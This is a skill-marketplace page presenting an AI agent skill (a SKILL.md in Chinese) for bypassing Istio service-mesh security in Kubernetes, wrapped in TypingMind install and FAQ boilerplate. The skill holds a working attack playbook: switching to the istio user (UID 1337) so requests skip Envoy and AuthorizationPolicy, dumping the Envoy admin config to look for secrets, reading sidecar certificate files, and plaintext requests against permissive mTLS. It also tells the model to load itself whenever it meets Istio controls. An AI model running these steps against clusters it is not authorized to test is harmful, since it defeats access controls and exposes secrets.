K8s Istio Bypass logo

K8s Istio Bypass

OrganizationPopular
wgpsec
k8s-istio-bypass

Istio Service Mesh 安全策略绕过。当目标 K8s 集群使用 Istio、请求被 AuthorizationPolicy 拒绝(403 RBAC denied)、或发现 Envoy sidecar 时使用。核心手法:UID 1337 绕过 Envoy。任何在 K8s 中遇到 Istio 策略阻拦、Service Mesh 限制、或 Envoy 相关安全控制的场景都应使用此技能

Overview

Publisherwgpsec
RepositoryAboutSecurity
Skill namek8s-istio-bypass
Stars
1.7K
Forks
242
Bundled files
Instructions only
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by wgpsec on GitHub. Read the source before you install it.

Installation

Install the K8s Istio Bypass AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/wgpsec/AboutSecurity.git /tmp/AboutSecurity
mkdir -p .claude/skills
cp -r /tmp/AboutSecurity/skills/cloud/k8s-istio-bypass .claude/skills/k8s-istio-bypass
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable K8s Istio Bypass in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads K8s Istio Bypass on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so K8s Istio Bypass is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Istio Service Mesh 安全策略绕过

Istio 通过 Envoy sidecar 实现流量管理和安全策略。但 Istio 的架构中有一个根本性的设计缺陷可以被利用:Envoy 以 UID 1337 运行,而 iptables 规则会排除 UID 1337 的流量以避免死循环——这意味着以该 UID 身份发出的请求完全绕过 Envoy,所有 Istio 策略不再生效。

核心手法: UID 1337 绕过

Istio 的 iptables 规则把 UID 1337 的出站流量排除在拦截范围之外(否则 Envoy 自身的出站流量也会被拦截形成死循环)。这个设计决定意味着:

正常流量:  Pod → iptables → Envoy (策略检查) → 目标
UID 1337: Pod → iptables → (跳过 Envoy) → 直接到达目标

利用步骤

bash
# 1. 确认 istio 用户存在
grep 1337 /etc/passwd
# istio:x:1337:1337::/home/istio:/bin/sh

# 2. 切换到 istio 用户
su istio
# 或
su -s /bin/sh istio

# 3. 以 istio 身份发起请求(绕过 AuthorizationPolicy)
curl <target-service>.<namespace>.svc.cluster.local

# 4. 如果 su 不可用,尝试 nsenter 或 runuser
runuser -u istio -- curl <target-service>

参考: https://github.com/istio/istio/issues/4286

AuthorizationPolicy DENY 绕过示例

当策略禁止特定 HTTP 方法时:

yaml
apiVersion: security.istio.io/v1beta1
kind: AuthorizationPolicy
spec:
  action: DENY
  rules:
  - to:
    - operation:
        methods: ["POST", "GET"]
  • ❌ 切换 HTTP Method (PATCH/PUT) — 通常返回 400
  • 以 UID 1337 发请求 — 完全绕过 Envoy,策略不生效

其他 Istio 利用手法

Envoy 管理接口

bash
# Envoy admin interface (默认 15000)
curl localhost:15000/
curl localhost:15000/config_dump  # 完整配置(可能含 secret)
curl localhost:15000/clusters     # 上游集群信息
curl localhost:15000/listeners    # 监听器配置
curl localhost:15000/stats        # 统计信息

# Pilot debug 接口 (默认 15014)
curl localhost:15014/debug/endpointz
curl localhost:15014/debug/configz

mTLS 降级

bash
# 如果 PeerAuthentication 设为 PERMISSIVE(而非 STRICT)
# 可以发送不带 mTLS 的明文请求
curl http://<service>:<port>  # 明文 HTTP 可能被接受

利用 Sidecar 资源

Envoy sidecar 可能缓存了 mTLS 证书和集群信息,配合 Skill(skill="k8s-sidecar-attack") 进一步利用。

bash
ls /etc/certs/ 2>/dev/null
ls /var/run/secrets/istio/ 2>/dev/null
cat /var/run/secrets/istio/root-cert.pem 2>/dev/null

侦察流程

bash
# 1. 确认 Istio 存在
env | grep -i istio
ls /var/run/secrets/istio/ 2>/dev/null
curl -s localhost:15000/server_info 2>/dev/null | head -5

# 2. 发现目标服务
k8spider scan -subnet <service-cidr>

# 3. 直接访问(测试是否被 AuthorizationPolicy 阻止)
curl -v <target-service>
# 如果返回 403 RBAC access denied → 说明有 AuthorizationPolicy

# 4. 尝试 UID 1337 绕过
su istio -c "curl <target-service>"

# 5. 检查 Envoy 管理接口
curl localhost:15000/config_dump | grep -i secret

关键要点

  • UID 1337 = Istio 的"上帝模式" — 流量不经过 Envoy,不受任何 Istio 策略控制
  • Envoy admin 接口默认在 localhost:15000,可能泄露 secret 和集群拓扑
  • PeerAuthentication: PERMISSIVE 允许明文通信
  • Istio 的 AuthorizationPolicy 只在 Envoy 层生效,绕过 Envoy = 绕过所有策略

Frequently asked questions

What does the K8s Istio Bypass AI skill do?

Istio Service Mesh 安全策略绕过。当目标 K8s 集群使用 Istio、请求被 AuthorizationPolicy 拒绝(403 RBAC denied)、或发现 Envoy sidecar 时使用。核心手法:UID 1337 绕过 Envoy。任何在 K8s 中遇到 Istio 策略阻拦、Service Mesh 限制、或 Envoy 相关安全控制的场景都应使用此技能

Why use K8s Istio Bypass on TypingMind?

Because you install it once and use it with any model. K8s Istio Bypass is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install K8s Istio Bypass in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/wgpsec/AboutSecurity/tree/master/skills/cloud/k8s-istio-bypass. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use K8s Istio Bypass?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with K8s Istio Bypass?

As many as you like. As long as a model supports skills, you can use K8s Istio Bypass with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the K8s Istio Bypass AI skill free?

It is published on GitHub by wgpsec. Check the repository for licensing terms. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇